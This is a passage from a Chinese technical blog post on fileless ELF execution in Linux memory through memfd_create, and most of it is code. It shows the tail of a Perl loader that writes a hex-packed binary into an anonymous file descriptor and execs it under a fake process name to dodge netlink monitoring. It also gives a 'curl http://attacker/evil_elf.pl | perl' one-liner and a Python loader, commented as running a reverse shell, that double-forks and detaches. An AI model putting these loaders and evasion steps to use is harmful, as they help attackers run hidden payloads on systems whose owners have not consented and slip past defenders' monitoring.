    print $FH pack q/H*/, q/07000000000000001700000000000000f8034000000000000700000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/e003400000000000080000000000000018000000000000000900000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/1800000000000000feffff6f00000000c003400000000000ffffff6f00000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0100000000000000f0ffff6f00000000b0034000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/280e60000000000000000000000000000000000000000000a604400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/b604400000000000c604400000000000d604400000000000e604400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000000000000000000004743433a20285562756e747520352e34/ or die qq/write: $!/;
    print $FH pack q/H*/, q/2e302d367562756e7475317e31362e30342e31312920352e342e302032303136/ or die qq/write: $!/;
    print $FH pack q/H*/, q/3036303900000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000003000100380240000000000000000000000000000000000003000200/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5402400000000000000000000000000000000000030003007402400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000300040098024000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000003000500b80240000000000000000000000000000000000003000600/ or die qq/write: $!/;
    print $FH pack q/H*/, q/600340000000000000000000000000000000000003000700b003400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000000000000003000800c0034000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000003000900e00340000000000000000000000000000000000003000a00/ or die qq/write: $!/;
    print $FH pack q/H*/, q/f80340000000000000000000000000000000000003000b007004400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000000000000003000c0090044000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000003000d00f00440000000000000000000000000000000000003000e00/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000540000000000000000000000000000000000003000f00b406400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000000000000003001000c0064000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000003001100ec0640000000000000000000000000000000000003001200/ or die qq/write: $!/;
    print $FH pack q/H*/, q/200740000000000000000000000000000000000003001300100e600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000000000000003001400180e6000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000003001500200e60000000000000000000000000000000000003001600/ or die qq/write: $!/;
    print $FH pack q/H*/, q/280e60000000000000000000000000000000000003001700f80f600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000300180000106000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000003001900401060000000000000000000000000000000000003001a00/ or die qq/write: $!/;
    print $FH pack q/H*/, q/501060000000000000000000000000000000000003001b000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000010000000400f1ff00000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0c00000001001500200e60000000000000000000000000001900000002000e00/ or die qq/write: $!/;
    print $FH pack q/H*/, q/300540000000000000000000000000001b00000002000e007005400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000002e00000002000e00b0054000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4400000001001a00501060000000000001000000000000005300000001001400/ or die qq/write: $!/;
    print $FH pack q/H*/, q/180e60000000000000000000000000007a00000002000e00d005400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000008600000001001300100e6000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/a50000000400f1ff00000000000000000000000000000000010000000400f1ff/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000000000000000000000b3000000010012001008400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000c100000001001500200e6000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000400f1ff00000000000000000000000000000000cd00000000001300/ or die qq/write: $!/;
    print $FH pack q/H*/, q/180e6000000000000000000000000000de00000001001600280e600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000e700000000001300100e6000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/fa00000000001100ec0640000000000000000000000000000d01000001001800/ or die qq/write: $!/;
    print $FH pack q/H*/, q/001060000000000000000000000000002301000012000e00b006400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000330100002000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/9d01000020001900401060000000000000000000000000004f01000012000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000061010000100019005010600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000002d01000012000f00b4064000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/6801000012000000000000000000000000000000000000007c01000012000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000000000000000000009b010000100019004010600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000a80100002000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/b70100001102190048106000000000000000000000000000c401000011001000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/c0064000000000000400000000000000d301000012000e004006400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/6500000000000000d900000010001a0058106000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/a101000012000e0000054000000000002a00000000000000e301000010001a00/ or die qq/write: $!/;
    print $FH pack q/H*/, q/50106000000000000000000000000000ef01000012000e00f605400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4500000000000000f40100002000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0802000012000000000000000000000000000000000000001a02000011021900/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5010600000000000000000000000000026020000200000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000400200001200000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/dd01000012000b00700440000000000000000000000000000063727473747566/ or die qq/write: $!/;
    print $FH pack q/H*/, q/662e63005f5f4a43525f4c4953545f5f00646572656769737465725f746d5f63/ or die qq/write: $!/;
    print $FH pack q/H*/, q/6c6f6e6573005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d70/ or die qq/write: $!/;
    print $FH pack q/H*/, q/6c657465642e37353934005f5f646f5f676c6f62616c5f64746f72735f617578/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5f66696e695f61727261795f656e747279006672616d655f64756d6d79005f5f/ or die qq/write: $!/;
    print $FH pack q/H*/, q/6672616d655f64756d6d795f696e69745f61727261795f656e747279006e6577/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5f70735f657865632e63005f5f4652414d455f454e445f5f005f5f4a43525f45/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4e445f5f005f5f696e69745f61727261795f656e64005f44594e414d4943005f/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5f696e69745f61727261795f7374617274005f5f474e555f45485f4652414d45/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5f484452005f474c4f42414c5f4f46465345545f5441424c455f005f5f6c6962/ or die qq/write: $!/;
    print $FH pack q/H*/, q/635f6373755f66696e69005f49544d5f64657265676973746572544d436c6f6e/ or die qq/write: $!/;
    print $FH pack q/H*/, q/655461626c6500707574734040474c4942435f322e322e35005f656461746100/ or die qq/write: $!/;
    print $FH pack q/H*/, q/7072696e74664040474c4942435f322e322e35005f5f6c6962635f7374617274/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5f6d61696e4040474c4942435f322e322e35005f5f646174615f737461727400/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5f5f676d6f6e5f73746172745f5f005f5f64736f5f68616e646c65005f494f5f/ or die qq/write: $!/;
    print $FH pack q/H*/, q/737464696e5f75736564005f5f6c6962635f6373755f696e6974005f5f627373/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5f7374617274006d61696e005f4a765f5265676973746572436c617373657300/ or die qq/write: $!/;
    print $FH pack q/H*/, q/657869744040474c4942435f322e322e35005f5f544d435f454e445f5f005f49/ or die qq/write: $!/;
    print $FH pack q/H*/, q/544d5f7265676973746572544d436c6f6e655461626c6500657865636c704040/ or die qq/write: $!/;
    print $FH pack q/H*/, q/474c4942435f322e322e3500002e73796d746162002e737472746162002e7368/ or die qq/write: $!/;
    print $FH pack q/H*/, q/737472746162002e696e74657270002e6e6f74652e4142492d746167002e6e6f/ or die qq/write: $!/;
    print $FH pack q/H*/, q/74652e676e752e6275696c642d6964002e676e752e68617368002e64796e7379/ or die qq/write: $!/;
    print $FH pack q/H*/, q/6d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273/ or die qq/write: $!/;
    print $FH pack q/H*/, q/696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e697400/ or die qq/write: $!/;
    print $FH pack q/H*/, q/2e706c742e676f74002e74657874002e66696e69002e726f64617461002e6568/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179/ or die qq/write: $!/;
    print $FH pack q/H*/, q/002e66696e695f6172726179002e6a6372002e64796e616d6963002e676f742e/ or die qq/write: $!/;
    print $FH pack q/H*/, q/706c74002e64617461002e627373002e636f6d6d656e74000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000001b00000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000380240000000000038020000000000001c00000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000002300000007000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000540240000000000054020000000000002000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000040000000000000000000000000000003100000007000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000740240000000000074020000000000002400000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000000400000000000000000000000000000044000000f6ffff6f/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000980240000000000098020000000000001c00000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0500000000000000080000000000000000000000000000004e0000000b000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000b802400000000000b802000000000000a800000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000001000000080000000000000018000000000000005600000003000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000600340000000000060030000000000005000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000005e000000ffffff6f/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000b003400000000000b0030000000000000e00000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0500000000000000020000000000000002000000000000006b000000feffff6f/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000c003400000000000c0030000000000002000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000001000000080000000000000000000000000000007a00000004000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000e003400000000000e0030000000000001800000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0500000000000000080000000000000018000000000000008400000004000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4200000000000000f803400000000000f8030000000000007800000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0500000018000000080000000000000018000000000000008e00000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000000000000700440000000000070040000000000001a00000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000040000000000000000000000000000008900000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000000000000900440000000000090040000000000006000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000100000000000000010000000000000009400000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000000000000f004400000000000f0040000000000000800000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000080000000000000000000000000000009d00000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/060000000000000000054000000000000005000000000000b201000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000010000000000000000000000000000000a300000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000000000000b406400000000000b4060000000000000900000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000004000000000000000000000000000000a900000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000c006400000000000c0060000000000002900000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000004000000000000000000000000000000b100000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000000000000ec06400000000000ec060000000000003400000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000004000000000000000000000000000000bf00000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/020000000000000020074000000000002007000000000000f400000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000c90000000e000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0300000000000000100e600000000000100e0000000000000800000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000d50000000f000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0300000000000000180e600000000000180e0000000000000800000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000e100000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0300000000000000200e600000000000200e0000000000000800000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000e600000006000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0300000000000000280e600000000000280e000000000000d001000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000000000000080000000000000010000000000000009800000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0300000000000000f80f600000000000f80f0000000000000800000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000008000000000000000800000000000000ef00000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0300000000000000001060000000000000100000000000004000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000008000000000000000800000000000000f800000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0300000000000000401060000000000040100000000000001000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000fe00000008000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0300000000000000501060000000000050100000000000000800000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000000301000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/3000000000000000000000000000000050100000000000003500000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000010000000000000001000000000000001100000003000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000000000000000000006c190000000000000c01000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000000100000002000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000088100000000000009006000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/1e0000002f000000080000000000000018000000000000000900000003000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000018170000000000005402000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000001000000000000000000000000000000/ or die qq/write: $!/;
    
    print "done
    ";
    
    # execute new program
    print "here we go...
    ";
    
    exec {"/proc/$$/fd/$fd"} "nomal_process name" or die "exec: $!"; 
    View Code

    netlink的监控消息如下: 

    可以看到,netlink监控到的新进程的cmdline被替换为了我们重命名后的”normal_process name“,这起到了进程cmdline隐藏的目的。 

    现在我们已经实现在Linux内存中执行ELF文件,不会在磁盘或者文件系统中留下任何痕迹。为了尽快且方便地加载可执行文件,我们可以将带有ELF文件的脚本通过管道交给Perl解释器执行:

    $ curl http://attacker/evil_elf.pl | perl

    4. 使用python进行memfd_create无文件执行

    • 使用memfd_create()系统调用来创建匿名文件
    • 使用可执行ELF文件填充该文件
    • 执行该文件,也可以使用fork()多次执行该文件
    import ctypes
    import os
    # read the executable file. It is a reverse shell in our case
    binary = open('./new_ps_exec','rb').read()
    
    fd = ctypes.CDLL(None).syscall(319,"",1) # call memfd_create and create an anonymous file
    final_fd = open('/proc/self/fd/'+str(fd),'wb') # write our executable file.
    final_fd.write(binary)
    final_fd.close()
    
    fork1 = os.fork() #create a child
    if 0 != fork1: os._exit(0)
    
    ctypes.CDLL(None).syscall(112) # call setsid() to create a parent.
    
    fork2 = os.fork() #create a child from the parent. 
    if 0 != fork2: os._exit(0)
    
    os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') # run our payload.

     

    为了在python中调用syscall,我们需要标准的ctypes以及os库,以便写入并执行文件、管理进程。所有操作步骤都与perl类似。

    在如上代码中,我们读取的是位于当前目录中的一个文件,我们也可以选择从web服务器远程加载该文件。

    Relevant Link: 

    https://www.freebuf.com/sectool/202312.html
    https://github.com/rek7/fireELF
    https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
    https://mp.weixin.qq.com/s/SdR6ce9xjbS5UQbh14kfgg
    https://mp.weixin.qq.com/s/SdR6ce9xjbS5UQbh14kfgg
    https://blog.fbkcs. ru/en/elf-in-memory-execution/
    https://www.anquanke.com/post/id/168791
    http://www.polaris-lab.com/index.php/archives/666/#comment-80 
  • 相关阅读:
    WPF 使用Code创建Canvas,StackPanel,DockPanel。Grid,Border,UniformGrid,ViewBox,WrapPanel等
    myeclipse6.5安装maven2插件教程 (Maven+MyEclipse6.5)
    myeclipse使用maven教程
    【技术贴】如何汉化 myeclipse 中的svn插件
    【技术贴】小米利用Connectify共享无线网卡连接教程
    Myeclipse 自动生成 javadoc 教程
    MyEclipse6.5配置Tomcat7.x
    maven构建项目自动部署到tomcat中遇到的各种sb问题总结
    吐槽之程序猿
    html5 css3构造的漂亮表格
  • 原文地址:https://www.cnblogs.com/LittleHann/p/12049910.html
Copyright © 2011-2022 走看看